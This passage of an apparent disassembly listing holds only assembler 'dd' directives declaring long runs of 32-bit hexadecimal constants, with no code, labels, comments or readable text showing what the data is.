		dd 85EC0FD6h, 10B2F2F0h, 0D8164807h, 0BD04C95h,	3D5A6667h
		dd 6130FF51h, 120540E8h, 0E934CD00h, 0AAF18FE3h, 273F3E10h
		dd 0C688E280h, 1AD9097Ch, 0EBAD4401h, 220465BEh, 0CA1830h
		dd 164B9E0h, 0B3086120h, 81E58B0Ch, 0B0C7E8ECh,	0A6CE004Ah
		dd 298A9CAAh, 9A000B0Dh, 0A5BBE3E4h, 0F71B507h,	851F7F73h
		dd 1341DF00h, 0C002644h, 9FC29DEEh, 3AA294h, 12EF2CE4h
		dd 0DEB49AD1h, 2416192Eh, 0B568AD03h, 0B8D9B127h, 21FCC4h
		dd 0F90D8818h, 0BB082E93h, 80E1B63Dh, 0FD9DE3D0h, 120E67h
		dd 23FFA177h, 26DD72D1h, 4822281Ch, 2141AAC1h, 0B9F8BC4Fh
		dd 13180056h, 582AFE0Bh, 0A0071C88h, 71F80ACBh,	4E087D00h
		dd 3755003Ch, 34C2BBC7h, 8300EA82h, 8E488C20h, 1C90AA69h
		dd 427140A1h, 2F886A89h, 47DDF8E0h, 62A8D600h, 0D9C13775h
		dd 9AF40091h, 0D14A8954h, 20909D3Ah, 250033E0h,	2A143B34h
		dd 307E620Dh, 2F929B27h, 600274EFh, 3FC9DDDCh, 0A30460FDh
		dd 6B42B0h, 1B6011A6h, 132692A8h, 410FAEBDh, 17B588ACh
		dd 8DCB20C5h, 9A8EED00h, 0BA7CC963h, 0ACE4A1h, 5BA774A0h
		dd 56FD22D2h, 2EF25F00h, 0FC097393h, 0EFD900FFh, 3B692AC8h
		dd 0DC043C1Ch, 0B7DB1D7Ch, 2BDA0A0h, 503962A5h,	0CCC04645h
		dd 0FD0F24D1h, 0B4D8DAC3h, 401700F8h, 0CDFC8830h, 5310C5A2h
		dd 0D7C2AA36h, 0C6E0E05Bh, 0F2BB89F8h, 2EB8118h, 1605183h
		dd 0A980D3C7h, 284F5FA0h, 8D330400h, 0E22CA59Ah, 3C46B0D2h
		dd 4200CE27h, 0D7E93746h, 0E31FF088h, 0E29C62F7h, 80BCEB8Fh
		dd 0A2C44C21h, 0DF5900AFh, 0D4E03048h, 0CF01D263h, 0B540C2EEh
		dd 0A030CBDBh, 5AA00096h, 0C3BEE8ABh, 0DE009D90h, 6B554D21h
		dd 0D1FA28h, 0D6595839h, 9FCD0D4Bh, 55F011Dh, 5D37B540h
		dd 0CBDD18h, 1A1FC772h,	0E91DA049h, 0FADA4E00h,	2685DCCEh
		dd 994D00A6h, 6668FE60h, 4614961Bh, 880A6Ch, 0B8B250B4h
		dd 3A07D776h, 1B80A8D1h, 0DAECF8B3h, 79605A87h,	784FCE78h
		dd 2FCB2E2h, 91B5175Fh,	2D00A2B3h, 7ACFCC7Dh, 90FD78BFh
		dd 438B0BDCh, 0E400A812h, 95A447ABh, 0B6CCF70Bh, 0D65023AAh
		dd 0C01CF3F1h, 78CD36Bh, 2C79E623h, 4DEEF0B6h, 56002938h
		dd 0A3EAB491h, 98C8AF5Dh, 351B0004h, 1C267A72h,	0A7009880h
		dd 0E0082A37h, 24ADFFA5h, 384A2Bh, 78E9924Ch, 7581B906h
		dd 3840FF71h, 0B2311Ah,	5DE3307Ch, 1C6B5253h, 0C4578702h
		dd 0F478A5F7h, 0A85E0039h, 994638B5h, 3133DF01h, 0BDF0F58Dh
		dd 0E591A080h, 13E8F6BBh, 81B4AB03h, 0B8590307h, 301992h
		dd 0B5F8E214h, 0CEFD548Eh, 0FBCE600h, 1D4758DEh, 6B2D0389h
		dd 9B777059h, 0DD93B000h
		dd 0B8E4BA84h, 2A300585h, 0C0253CD3h, 9AB421E0h, 0B60047F8h
		dd 34270C92h, 0E0DE68h,	681FB0Eh, 0B241B41Fh, 81FF073Ch
		dd 361B6B99h, 9CD4D2DDh, 804A019Ah, 0E3C51859h,	16CDCC3Bh
		dd 358D901h, 55B2F55Bh,	7794070h, 0CA3E66AAh, 40003B6Eh
		dd 38E63320h, 57256270h, 23A400F1h, 701BBCD9h, 10260046h
		dd 5F79658h, 561CD394h,	0C5267733h, 9FC56601h, 0F4F50B5Ah
		dd 0B30F1829h, 1CA40D5Eh, 58E2E3h, 84BCA0DEh, 47074h, 2B1C067Dh
		dd 2E3B6008h, 0B3B7E600h, 0DF4CEB58h, 5C7CF5h, 8756B432h
		dd 763B4E4Bh, 0E4D5941Ch, 39A9AF07h, 17ABCC90h,	19950051h
		dd 60FAEBF4h, 0F900EDD9h, 0B7D06EDEh, 2272B2h, 0D709B8D2h
		dd 7A79EBBFh, 7682D500h, 0AAD0BBCDh, 89724Ch, 37E7FD26h
		dd 0ABE6143Ch, 0B8C7E31Ch, 25DD55C7h, 7C30A489h, 53C4FEh
		dd 31084F9Fh, 9100902Dh, 3D22D510h, 128AF0E2h, 45F7D956h
		dd 4578A330h, 0D05FEE88h, 42BFF5ECh, 8D47C704h,	0A880E821h
		dd 20A1B73h, 7F5C7613h,	0E060CCC5h, 0FC48B6F3h,	64222694h
		dd 0C31FC186h, 0F0660170h, 868CE62h, 1AC2776h, 0A4BD46F3h
		dd 25E4CB09h, 98BE0171h, 0F0B6D17Eh, 6E68202Bh,	0D60D6A26h
		dd 8B80161Dh, 8F7C85C8h, 59F60096h, 3FE9F312h, 0D800EF34h
		dd 2248D049h, 0B87A8D7Ch, 8E40030h, 0A018867Bh,	0B40041A5h
		dd 7F8F0B93h, 403D0Eh, 0CBF685F8h, 7265CA6Eh, 0B9303702h
		dd 0E35649A9h, 6029EA74h, 1D0D2082h, 140B8E2h, 30D33557h
		dd 0C88B7144h, 0A20FBB5Bh, 186347C2h, 706B20h, 8FE5A99Fh
		dd 0C5B68BB2h, 0B83B7D00h, 0B0AF4089h, 58B864h,	25354D18h
		dd 557BE1FAh, 1CD16A00h, 3A592C37h, 4B230369h, 9C03F131h
		dd 3D0B70F8h, 0C25BDD00h, 0EE814EA9h, 59DE243Ch, 17B0210h
		dd 0D4A3DB61h, 30AAD49Fh, 580578D0h, 0BD84F52Bh, 0F764A0h
		dd 0DAAC9EDBh, 9A3F98F1h, 0A7ABBC00h, 0E549B2CEh, 634600FFh
		dd 91F4F35Fh, 0C0723141h, 57B62400h, 17D6944Ah,	0BBAA00DDh
		dd 418A9849h, 14004FD2h, 121151E4h, 0AD1958h, 0AE3546CFh
		dd 0FE22EEF1h, 2DDDDE00h, 373905E3h, 95DA03FFh,	8B038533h
		dd 761CE8E0h, 0B7BB303h, 0B0998161h, 784E365h, 56F71807h
		dd 4FC3B347h, 47F00ED9h, 0F4FC01DFh, 0DFAC2070h, 207DC8E7h
		dd 0ACDD9F05h, 0BAC08057h, 4EFFDFFh, 14AFCDEDh,	8988E081h
		dd 6F9E851Fh, 0C9400F1Eh, 95B4811h, 84DE48EBh, 977D4B00h
		dd 73A7D8E6h, 7C001C90h, 1C3A9440h, 0DADFF9h, 4CE4C7F8h
		dd 69B9CC1Dh, 3C0FEB26h, 0B3370205h, 211F088h, 85650703h
		dd 10C02F12h, 71FEB51Dh, 19C9A204h, 88F5D5EEh, 91E00B40h
		dd 0DEF6BCh, 84D8350Ch,	616BD604h, 8ED2B93Ch, 0C0D99646h
		dd 7D10ED0Dh, 28D800FEh, 5C6EA073h, 0BF0017CAh,	67BB860Bh
		dd 3F3E737h, 1B499D85h,	7CF081A1h, 110B04B7h, 89782F38h
		dd 409E0EEFh, 0B014FB67h, 81D200BCh, 0D9F9ACE9h, 0C503B817h
		dd 5C955E85h, 64CD803Fh, 7B41002Ch, 5AD84B28h, 264C503Ch
		dd 113100EBh, 4814332Fh, 0F22D0041h, 152CC5BDh,	0EC9C5BFFh
		dd 0E0DE450Eh, 146821BBh, 7C000C6h, 507E1F71h, 0BC28CC1Ah
		dd 76029026h, 44239753h, 14054E0h, 3DE181D0h, 999BEBD1h
		dd 0B0AC15D8h, 152AA03h, 0ADC85A45h, 78A704E4h,	0E85907A0h
		dd 0B31105CFh, 1138CCA5h, 8FA88007h, 0D82B44CDh, 0BE1D3C19h
		dd 0AD89E9BCh, 54526E55h, 0CCFE501Fh, 74436A5Ch, 1F19581h
		dd 0ACD0AE18h, 900EE883h, 4E013811h, 839B571h, 9AA4E02Fh
		dd 965F4718h, 86D6340h,	2D0786DFh, 0E3A49080h, 143DFEBFh
		dd 3C6C55A8h, 5F1E4161h, 4067F181h, 0CC21560Ch,	0B45788A8h
		dd 0ED323A00h, 0BF902EDAh, 0A3AC0011h, 74BA79CAh, 0BD30339Eh
		dd 24D0904Eh, 761A00BFh, 0CE3A09FEh, 0FB0BE8BBh, 8E607335h
		dd 0BEB003CBh, 861FB8C8h, 0A2260046h, 0E2E44921h, 7B00128Dh
		dd 521D1EE1h, 39E0ED11h, 7500D822h, 3D6D943Eh, 3600F621h
		dd 54DCCFBAh, 0E8A967h,	0C537333Ah, 0B718313Eh,	1B3F3400h
		dd 6E2D37Ch, 8D1939C6h,	6A02AB38h, 0D648EB05h, 17E4C56h
		dd 3D0A9527h, 0D88A511Ah, 142410FCh, 1618F9C7h,	96C808h
		dd 3E2C18BFh, 13B3A89Dh, 2D047D00h, 0B7B087ADh,	0EFDD021Ch
		dd 9026AECFh, 0F7D9E8A7h, 136051C2h, 8D718938h,	2E8206D6h
		dd 1DB7011h, 1AAC70CBh,	98BACC28h, 0FB795F09h, 6CA1489h
		dd 0AD0EE063h, 0AB29FF46h, 0CFCB1000h, 71C02EA2h, 0B3106465h
		dd 0D2CE01D3h, 25C9559Ah, 0CB808FCDh, 108685BEh, 0D2CF4681h
		dd 0F5C79ECh, 0CC411DA4h, 0E9DF6886h, 2CC4A700h, 0F30E673Fh
		dd 8B1E2987h, 98F6891Ch, 901B7704h, 7631DC24h, 0D268B500h
		dd 70329920h, 0E890952Ah, 3730307Eh, 471098D7h,	119C748h
		dd 217500Bh, 0F13AE9C8h, 0CF400Ah, 0DE616E7Ah, 88DCCC3Ch
		dd 0F4E88F7Dh, 5DA121C0h, 322FC6Eh, 79F0A472h, 0D4889676h
		dd 3D1ECF49h, 5F00D2F1h, 66C628E5h, 18CB157Dh, 87E30CEh
		dd 54DE626Eh, 0A240F3C4h, 0FFBA6EA6h, 68777F73h, 0F6B76301h
		dd 88CBF9DBh, 0EA3986D0h, 409483h, 0E8D1A8EFh, 0BC034DADh
		dd 0EC550A3Ah, 19DA33Dh, 0E91A9221h, 0E8612125h, 8F0C4286h
		dd 0A02B4E5Fh, 63550001h, 9658CCC1h, 0ECAC9B31h, 0C9627C18h
		dd 3E3D6649h, 0EB2B01C6h, 6E700198h, 0F68CDD03h, 80D45B18h
		dd 6D00982Fh, 0B7190E71h, 91D2F277h, 0F7093A38h, 6002E12Ch
		dd 55C04D93h, 3903B645h, 158657Fh, 25890329h, 53FF230Fh
		dd 562FAC80h, 10AF883Ah, 1A00EF8Ah, 54632331h, 0B1C0EAFDh
		dd 0FBBD3630h, 3DA9004Ah, 511A08Bh, 951D0EAFh, 2342870Dh
		dd 915D6561h, 86ECA834h, 0AF782153h, 1B00D991h,	44222336h
		dd 13005870h, 2BFE600Eh, 145D4FB3h, 0AC895FACh,	1EF30AC0h
		dd 0C0246063h, 0C5019CC4h, 0DB5B495Ah, 5EE2C823h, 0ECF0430h
		dd 0A70E4256h, 0A41D6A28h, 73171905h, 5183B000h, 0A242B9h
		dd 2C559008h, 0BD66909h, 23781F48h, 0A16828EAh,	0E058A445h
		dd 4821CF6Dh, 5B33809Dh, 0A06CF34Ch, 0EFA2E705h, 0DC00C8CCh
		dd 644B187Eh, 74B197F2h, 3E78C460h, 0A6048891h,	2054C77Bh
		dd 0CEFF4B8h, 5B3903ECh, 0AA47C390h, 0ED188CB0h, 0F08C1755h
		dd 0A900D865h, 68312386h, 1576E2C3h, 0BCC7A74Ch, 8C592850h
		dd 0D223AC04h, 3161985Eh, 9A0700EEh, 4C8B0B23h,	800F2B84h
		dd 0C0AEDA04h, 3DB0C16Ch, 4C501080h, 0C89D348Eh, 0E625DEEFh
		dd 4BA2001Ch, 7E03B96Ah, 24051504h, 937F7A72h, 0F5ECC41h
		dd 0D4020759h, 1D708730h, 837AA826h, 0CA635D93h, 0BDD097A3h
		dd 80001F9Bh, 0FDD20A70h, 367D05Ch, 9DBCAC16h, 6E8A67Dh
		dd 5100302Ah, 31BB4801h, 0C13536h, 3209349Bh, 80420673h
		dd 47CC8C00h, 6085AABBh, 0C447C76h, 823C6298h, 0ED06E418h
		dd 0FC594297h, 6085FE10h, 2681412Dh, 0DA0ECDC9h, 0E0B5DD2Fh
		dd 2376939Eh, 0C08D7930h, 4A0135A8h, 87F97F8Eh,	0CFD37B10h
		dd 42C615E0h, 5E0E1DB1h, 21E31843h, 0CF00D14Eh,	854F8CEFh
		dd 2DCE5h, 51FD17D8h, 0C4939575h, 5F41A51Dh, 0E0037A4h
		dd 2D8E6F50h, 0C340C077h, 36E771EFh, 856A5E00h,	31A061FBh
		dd 0C58E0289h, 22625264h, 7176A081h, 23ECC477h,	41272A31h
		dd 0B05384A6h, 9486906Ch, 69210102h, 0D658B9A9h, 0EBDBF3DEh
		dd 9F2987B0h, 0DCE05600h, 233B7297h, 6CDF3DCCh,	0CA2BD80Bh
		dd 41488h
		dd 0EF973930h, 20C6DC72h, 3026C1h, 0D37D4360h, 0EEA1DA17h
		dd 3B0A20DFh, 318E888Bh, 81D40002h, 95F577h, 0F20978Ah
		dd 0B0EE6F8Eh, 0DD26C8C0h, 1879A30h, 22A53A2Eh,	0D0BE523Ch
		dd 20C09D60h, 829B4FE6h, 0A99500C0h, 6669841h, 0FC002A8Eh
		dd 3BBB390Ah, 60A5DDA8h, 0B162609Dh, 36582448h,	4D605AEh
		dd 3827D38Eh, 2E939A90h, 22BE431Ah, 0A3EA005Ah,	0F449779Bh
		dd 2912A1A4h, 20147845h, 83961008h, 0A2CFD7C7h,	7030E609h
		dd 0D5528078h, 3E95CF01h, 49508EFBh, 247C64E8h,	6004C0B6h
		dd 0FDAE6379h, 1B4C3548h, 88A9AFEFh, 1508053Eh,	0ECDAFFADh
		dd 0FE8CC606h, 34126917h, 8470F85h, 4B31880h, 0E2D327h
		dd 0C730F6A1h, 5F7B7D16h, 0F00507Fh, 0F0788568h, 0E4F4DF14h
		dd 2E410CAAh, 29492089h, 0D2305103h, 0E305C5D7h, 1B19000Ah
		dd 0D1362CBCh, 0CCC0F5CCh, 945EB278h, 0A8301206h, 65F00662h
		dd 0FC003109h, 14BE1825h, 0F8586C03h, 607303E8h, 14D3BBCh
		dd 36DCD2E8h, 970C5A02h, 82393134h, 0A0980280h,	2A3E6DC4h
		dd 35A11F25h, 0B4490037h, 151292CEh, 0A8719724h, 0AA01D005h
		dd 2B789840h, 2A583A2h,	6821D34Eh, 4662E7Ch, 8515F504h
		dd 14C75B6Dh, 624C854Fh, 246A020h, 0A1D712CBh, 99640926h
		dd 210B6826h, 0BFD35B00h, 0AB3DF983h, 6BE487h, 0F7A70503h
		dd 0F6A9E36Dh, 99A51800h, 1E4B72FEh, 5750516h, 1D78D1DEh
		dd 1A8480F4h, 37D05B91h, 3C4CA700h, 69D1235Ah, 1BAC3899h
		dd 60570113h, 0D2CFD038h, 435E1510h, 5B8096C8h,	713CCF6Ah
		dd 34E326D0h, 0ADA60A98h, 1EB42A8Eh, 92A02708h,	962040DBh
		dd 0A838707Dh, 88CC6A4Dh, 964182F8h, 0B041F670h, 79FBD497h
		dd 0C02CA14Ch, 8DDE522Ch, 4EC71E6Ch, 3B92C082h,	1C7CAB80h
		dd 219E6309h, 34E080DCh, 0A0F8812Bh, 247E60C0h,	1DC91F5h
		dd 213929A2h, 0AFFEF03Ch, 0ECAC6C48h, 0AA008C67h, 0AEAFD1F7h
		dd 72A63DD9h, 0A9826E0Ch, 622A0016h, 1AB8711Eh,	228DA309h
		dd 0DE108389h, 0A327E2A6h, 0A4BC26ECh, 745C8Ch,	0EDCC248Dh
		dd 0A6508AE4h, 7C6B3Fh,	5744C0ADh, 12DCEC36h, 24847932h
		dd 197483C4h, 80D68E88h, 147F6809h, 97A4A257h, 79A06089h
		dd 28349A2Eh, 401D92h, 9AC7E7E4h, 0DD1749D5h, 44B05171h
		dd 0C4A3B00h, 0AEA25263h, 270A155Fh, 7C80E4D7h,	92A83370h
		dd 0C06A908Ch, 70954020h, 0B309F197h, 0EE494E3h, 0B8820A80h
		dd 7C605812h, 23D3BFDEh, 501106A1h, 0BF9F4F03h,	7187D724h
		dd 33960A17h, 387A03C0h, 228A6BBh, 49654279h, 0A2C08C16h
		dd 8907ECEFh, 23AB547h,	91A663h, 0F03DDEC1h, 0E520D873h
		dd 0A7E9C200h, 7ACA56F6h, 8D231334h, 7042701h, 109F3090h
		dd 7700E26Ah, 8272793Dh, 1E15DEh, 374C7F43h, 1497028Ah
		dd 705DD0F2h, 2EEC1004h, 4A35AA04h, 0DEFC8846h,	0BFD4048Ch
		dd 62D6A139h, 0ED59203Ah, 0C80025BFh, 29C5C1D3h, 75E7D4Dh
		dd 6AB37CA7h, 0CC9D3086h, 6028E9D2h, 4228F467h,	0A246B4FCh
		dd 3DCB0807h, 3CC468A1h, 0BFA0654Fh, 529CA7EFh,	0EE01B00Bh
		dd 2D0019Eh, 0CC626AAAh, 3BA19400h, 9ED38038h, 0ED26E412h
		dd 707E0C60h, 62A91059h, 2192CCCAh, 6F5600B6h, 248854E0h
		dd 4A13194Bh, 6800B816h, 0DDCB58A7h, 949749C5h,	2E149B0Bh
		dd 5E9898A3h, 0CE4585B8h, 6C03F092h, 0A3699D16h, 12200966h
		dd 0F82193A5h, 745AB136h, 1E44DAC8h, 6986267Ch,	14C0A9C0h
		dd 52BCC86Ch, 3A94488Ch, 23786E07h, 0E0DCA631h,	0E09D063Fh
		dd 0FACE8791h, 0A82C4881h, 0C660A909h, 0B04306FDh, 454490C0h
		dd 79702305h, 98F1D614h, 2BFD1D80h, 763C3346h, 0BB301E68h
		dd 4BD1377h, 348380D4h,	9074880h, 0C004B9D6h, 0DECF6B48h
		dd 33F57906h, 3963AABh,	9BB3D010h, 16E3F0ADh, 0C65A818h
		dd 26223E9h, 11A1C367h,	0A080DC51h, 0AC7AB21Bh,	0B1C06AF2h
		dd 826399E4h, 329A014Dh, 0FCA62B87h, 98A68Eh, 7C636D17h
		dd 2E91A856h, 0C9208CEAh, 0EDFC008Fh, 0FD031B9Bh, 21036EE6h
		dd 8DABD601h, 0F6E90097h, 284E9167h, 4000D1C2h,	0E9187EFAh
		dd 3EC6F511h, 8F983DC8h, 1933705Dh, 0A21AB706h,	0AC12461h
		dd 93798506h, 629004D0h, 9B20D318h, 912CB821h, 0A2578EC6h
		dd 32522E7Eh, 20FD10E9h, 2A748955h, 4887341Eh, 91A12C09h
		dd 9118EC9Ch, 0A9A47004h, 0BC37CA4Ah, 6FF81D21h, 0A213DC04h
		dd 5C90B941h, 48359F66h, 100C1CCCh, 0A6B91D30h,	0B8398360h
		dd 0A16E32h, 0F2752355h, 7C39EE8Bh, 152478C2h, 48005819h
		dd 55E8786Eh, 12D57D8Ch, 0C0C2652Dh, 0D7E80654h, 0EF2B900h
		dd 0BD3FC7EDh, 71E24AEh, 2A9208B8h, 21033406h, 12970B49h
		dd 88AF2D51h, 849981ABh, 0F82019EDh, 9EA129D4h,	511148h
		dd 9DBFD864h, 74BE2198h, 0DD2D0CDEh, 0DB983FFDh, 0EE71D504h
		dd 408E20F8h, 309D5F84h, 0F07499h, 0D1FA2089h, 8ABE683h
		dd 1F18454Dh, 0A8AEDE07h, 15091C81h, 282097C2h,	412922DCh
		dd 24BD24A8h, 496D4407h, 0A624895Bh, 8CA138C8h,	387AECB0h
		dd 0E0FC3E5Ch, 0BF9C60h, 86FBAFBh, 6BA7E7E0h, 980C79F8h
		dd 0F80C15D0h, 0C6E1305Dh, 0A1747F79h, 5C19A2FEh, 0A8481D49h
		dd 988B6DCCh, 908A02Ch,	7E38C955h, 3D26E868h, 7C3040D3h
		dd 0B9E014h, 0EDF35D61h, 69472B8h, 17EAE204h, 0C8B09847h
		dd 31976001h, 355C1354h, 3067DD0Eh, 7E3E206Fh, 433BEEBh
		dd 169DE5ACh, 5DF0B3DAh, 4860042Ch, 0CCB2057Fh,	61305AE2h
		dd 0EB82445h, 1FA60A24h, 257483D4h, 79EBEBFFh, 2C9DB03Ah
		dd 4B931CC8h, 0FC82BC25h, 0CF39304Ch, 0F6091B11h, 0FC218F8Ch
		dd 0E7CF6F00h, 14D780DCh, 28389092h, 50AC8EF9h,	7BE1484h
		dd 2E3AA57Dh, 710FCBB8h, 9FDCC09Eh, 1EAB079Dh, 17CAEA04h
		dd 5CD1F115h, 0BFE0568Eh, 0D12201A9h, 2A8DD5EDh, 0B282111h
		dd 0C3E1C854h, 869007A9h, 19C0958Eh, 97FEA7C3h,	4629029Bh
		dd 1789CB51h, 263E0048h, 0A924BE00h, 0AF58C752h, 0E180038Fh
		dd 0B9631196h, 37AAA102h, 7AFA7D48h, 6C585C7Ch,	38C3EFCh
		dd 1218B798h, 84A780F5h, 59CD06Ah, 815131BEh, 96E120ACh
		dd 9583748h, 0B2D62708h, 0C4F471A8h, 73516095h,	439F02C7h
		dd 37B97E0h, 0E170F851h, 9E038676h, 0DA97B09Ch,	8003F51Ah
		dd 0ECC99D08h, 40272C80h, 0DE5F0C89h, 0BDB87ECDh, 4A2A2F03h
		dd 0E29A179Fh, 18C4A06Ah, 1C302FDh, 0FFD83DC1h,	4C5B5608h
		dd 9FF4901Ch, 0D0EAF624h, 23C5A99Eh, 8805FDEBh,	4882D3CFh
		dd 297F42C5h, 134B78Ch,	7A86D26Bh, 9C8C4058h, 0E700023Dh
		dd 21B7AB25h, 986E9929h, 837D20DCh, 2882DD2Ch, 4455FD06h
		dd 0B078h, 981F6587h, 7571117Bh, 0C7E46C90h, 94270980h
		dd 0F9465610h, 49F1Ch, 6C142A7Bh, 8700CE4Eh, 7E0E1B7Fh
		dd 33FAA5C3h, 3D80282Dh, 0A89A25E8h, 3503C1F6h,	458E2094h
		dd 76512978h, 820A6004h, 5E033572h, 9A23F86h, 0F38ED06Eh
		dd 4D790081h, 4A11290Dh, 0E30026E6h, 0D24B5EA2h, 7B26C8Eh
		dd 68E53EEBh, 860BE09Fh, 1093206h, 822E1B87h, 18875B4h
		dd 0E24F431Ch, 7A044870h, 26E4CE18h, 92B288E2h,	4CC6730h
		dd 39940BE3h, 5E28576h,	84693D08h, 51958144h, 2206C30h
		dd 9DFEADB5h, 2718E941h, 61C699D4h, 0F132807Fh,	0A18441AEh
		dd 24CDD929h, 4D137DE4h, 9000794Ch, 8F392621h, 0CB743462h
		dd 0C980220h, 209E4FEDh
		dd 55D5A23h, 0B15ED9A1h, 956020A0h, 0CF3A048Ch,	626E15D4h
		dd 6C5D20E5h, 6B0004CFh, 47204A3Bh, 0E9C0D8B4h,	0BD39DC0h
		dd 0BB88862Eh, 0DB75C10h, 631C7A1Eh, 31175F43h,	0D19809B0h
		dd 0D025BD85h, 98308791h, 7D9A3AC0h, 0BE4A212Eh, 0F001AB91h
		dd 80FF9BA1h, 0F69020C1h, 0D040DC9Ch, 76FA42DEh, 51BC6087h
		dd 0F16B612Eh, 78188EB0h, 0EB511883h, 270304A5h, 90AA6A2Fh
		dd 1194C67Ch, 0FE09D00Eh, 237EC4ACh, 0E4F55090h, 8B8A0045h
		dd 0BC38CEEDh, 0A03F357h, 622A2BE2h, 0CD29001Bh, 0CF0B18D7h
		dd 3A0973A4h, 456D380h,	7860EB30h, 0A8133770h, 0D48ACEB2h
		dd 1144426h, 8474C060h,	0C7946CB7h, 0F10C1D92h,	0EE8E1807h
		dd 151818E2h, 0C9774012h, 0C8BF013h, 3026F984h,	7E1ED9h
		dd 569AD2FDh, 9851414Fh, 0F85A7A70h, 0AF019845h, 7F69C440h
		dd 1EB95E44h, 78802892h, 6E6D0517h, 933F00A4h, 99E0CC4Ch
		dd 75A0E55h, 0A60C6842h, 0B1003378h, 39FA97Dh, 0E9225CAh
		dd 9D4CD6FAh, 23DC3AB7h, 483D0050h, 0D802CF6Dh,	0C2E023E4h
		dd 8759CA04h, 1C97BAA4h, 42CE11E1h, 2A259440h, 0E4B6512Eh
		dd 0E9E53B20h, 9188B04Bh, 0A16FE3CFh, 5AFBBA61h, 0B28D2C7Ch
		dd 95EF0AD4h, 0DE7A80ACh, 2403D26Ch, 0A364B80Eh, 8251200Fh
		dd 7925258h, 0F5DA2D47h, 0AC89494Dh, 25726480h,	24808B59h
		dd 0AE112615h, 0E75C00F4h, 0D585BC92h, 6068B160h, 6066C468h
		dd 0AC8F9824h, 926FD2Dh, 0D60F541Ch, 9ADA2486h,	6E2869FCh
		dd 0E3B007ECh, 0BB3DD2F1h, 0E67050C4h, 9679D8B1h, 4F00DD18h
		dd 0C33D96Dh, 4891F5A9h, 1D3B60E4h, 48B840CEh, 76F86466h
		dd 4D4B5603h, 0F306789Ch, 931F9063h, 0E80E5488h, 39FA07A1h
		dd 0F0E8F3BFh, 72FE9A41h, 62774C02h, 0CD26E3CFh, 10116074h
		dd 5E00BA77h, 420B8372h, 4C6223E6h, 0C4510486h,	280AB84Ah
		dd 97E059A3h, 80EC2485h, 78517E95h, 7119FF71h, 924083E1h
		dd 0ED9BD300h, 2DBE8009h, 11DC8493h, 7CA3CCC5h,	0ACB08CA2h
		dd 89017854h, 0C24109Dh, 42011E6h, 9144BA2Bh, 1A2A7808h
		dd 0E0D00086h, 377FCD8h, 0E55FA5A6h, 6123D43Bh,	0E42E1702h
		dd 412046C3h, 0B2A072D6h, 0E1AE3096h, 4FAF1C02h, 8BA08869h
		dd 41800244h, 7A05B3Ah,	400DE3FEh, 89E12197h, 0D080A49Eh
		dd 0AEC80E9Fh, 690A03BFh, 5F637DD4h, 323B7000h,	2F682E0Bh
		dd 883C3023h, 79EC6081h, 0E800185Bh, 7FC2EAB5h,	12D70511h
		dd 0F43DD583h, 8C0D6D78h, 28D2A456h, 12334EECh,	1C82D4Bh
		dd 0FA118EFCh, 58702A95h, 9846541Bh, 0AB880130h, 2585146Dh
		dd 0B5C6CC7h, 14FD86DAh, 0A28043A0h, 65D3061h, 87EC111Fh
		dd 15A4037Dh, 0B881F841h, 1267B5D1h, 0B201C9C2h, 3296E274h
		dd 31842F40h, 87B7820Ah, 0C6044CA5h, 18B0ADAAh,	83A491DBh
		dd 3DD1C52Eh, 0D5871802h, 4E941E99h, 547F2DB0h,	2D4388A0h
		dd 841CDFE6h, 0DD9D4475h, 6F39DEC0h, 0F4BAB6C6h, 18070DCh
		dd 33384165h, 242DA96Ch, 3E00DB6Ch, 916A31B7h, 9FC5Ah
		dd 0C1E9A092h, 8515DE1Ah, 0ACA1BCF2h, 0B888786Dh, 0B9008C3Ch
		dd 211F7A78h, 0F66924C4h, 50AF61D9h, 34FD29E1h,	24B0FCFCh
		dd 46569894h, 64110097h, 252E597Eh, 0B5992E4Eh,	6F844018h
		dd 6D00DD35h, 0D5689A27h, 86F71Fh, 57CE73FCh, 4878D4F6h
		dd 2A81765Ch, 0E672D892h, 0DEB4F812h, 10DCF0B0h, 4D48898h
		dd 97AE7C80h, 0DEC4F8ACh, 8AD62h, 0FE3D7B86h, 3FE11CB0h
		dd 3B98793Ah, 0EED6B902h, 6500A4B1h, 733DBC6Ch,	34C01F6h
		dd 0B6D339D1h, 2702E8E9h, 0AFE67F1Fh, 20092809h, 0C532D928h
		dd 0D2541649h, 0C0449A6Ch, 0B6B0CF97h, 2A17B8DAh, 3AA4DCA9h
		dd 0C1091D30h, 38004391h, 7D51DDA7h, 0B4A0955Ch, 98A1DCA6h
		dd 0A98649Ah, 14BCEB2Eh, 465E4026h, 2ABC0095h, 0B132709Fh
		dd 62CE0C90h, 0D5B054C2h, 911114B0h, 8C76472Eh,	8CF3E02h
		dd 18430E09h, 5180787Ah, 1ACF00D0h, 0B5443652h,	0D70F8EDDh
		dd 0E5A375A2h, 84017AFDh, 2F7D107Bh, 6D43708Bh,	3AC458E5h
		dd 0EB54DD60h, 0B087700h, 99C35E4Bh, 26470020h,	4C33AA03h
		dd 701F6DDCh, 524E179Eh, 5FAE60FDh, 58984A47h, 9A23DC39h
		dd 3A709303h, 96CEDAA8h, 4C43009Ch, 3C620F70h, 4D04785Ah
		dd 7AE7BE84h, 0BC35BCD8h, 8F215CD0h, 0A65A8676h, 8E006987h
		dd 11ED438Ah, 0FFEF79Ah, 2C583113h, 24E061A0h, 0EE024AA8h
		dd 9201D343h, 0E81F009Dh, 97E690BCh, 50F0700h, 0F62C1528h
		dd 0A5A90B89h, 8C623EF0h, 0B6598453h, 0B3E6F0C7h, 0D984008Fh
		dd 0CEAC3816h, 66005DDDh, 7552ABB7h, 2A01A7Ch, 936F83EBh
		dd 605F65E8h, 3601446h,	87D98699h, 9DF84334h, 90009407h
		dd 17A1ECFAh, 0C08CB8F2h, 41368F20h, 5FEEA3F9h,	26E8B107h
		dd 8A05FC6Dh, 0E161D80h, 0A7D500CEh, 0E187678Ch, 38C0B4B1h
		dd 5AEDF984h, 0ECF3F62Ch, 0C332168Ch, 219218FCh, 5A00F52Fh
		dd 0DC45E37Eh, 0CF9417h, 82E25F4h, 0D3B66550h, 0E9E7AC00h
		dd 69EBFA2Ch, 462101CAh, 8CA8A58Ah, 37BE2051h, 0B5E7290Ch
		dd 27B191h, 353A4789h, 0B2201BFBh, 5871EC60h, 5223BEh
		dd 5CEFC1F3h, 2BDE94E5h, 0C9084F01h, 4CD04BEDh,	0E58793E3h
		dd 5AF06420h, 0E3864CBFh, 88FE6444h, 5907B872h,	19829466h
		dd 32F893Ch, 5A8E38F7h,	0B00EA2FEh, 60B804EAh, 0F00E81FAh
		dd 0A3910F27h, 0DB8382C9h, 39E057D9h, 5F4CBE89h, 0EF4860EFh
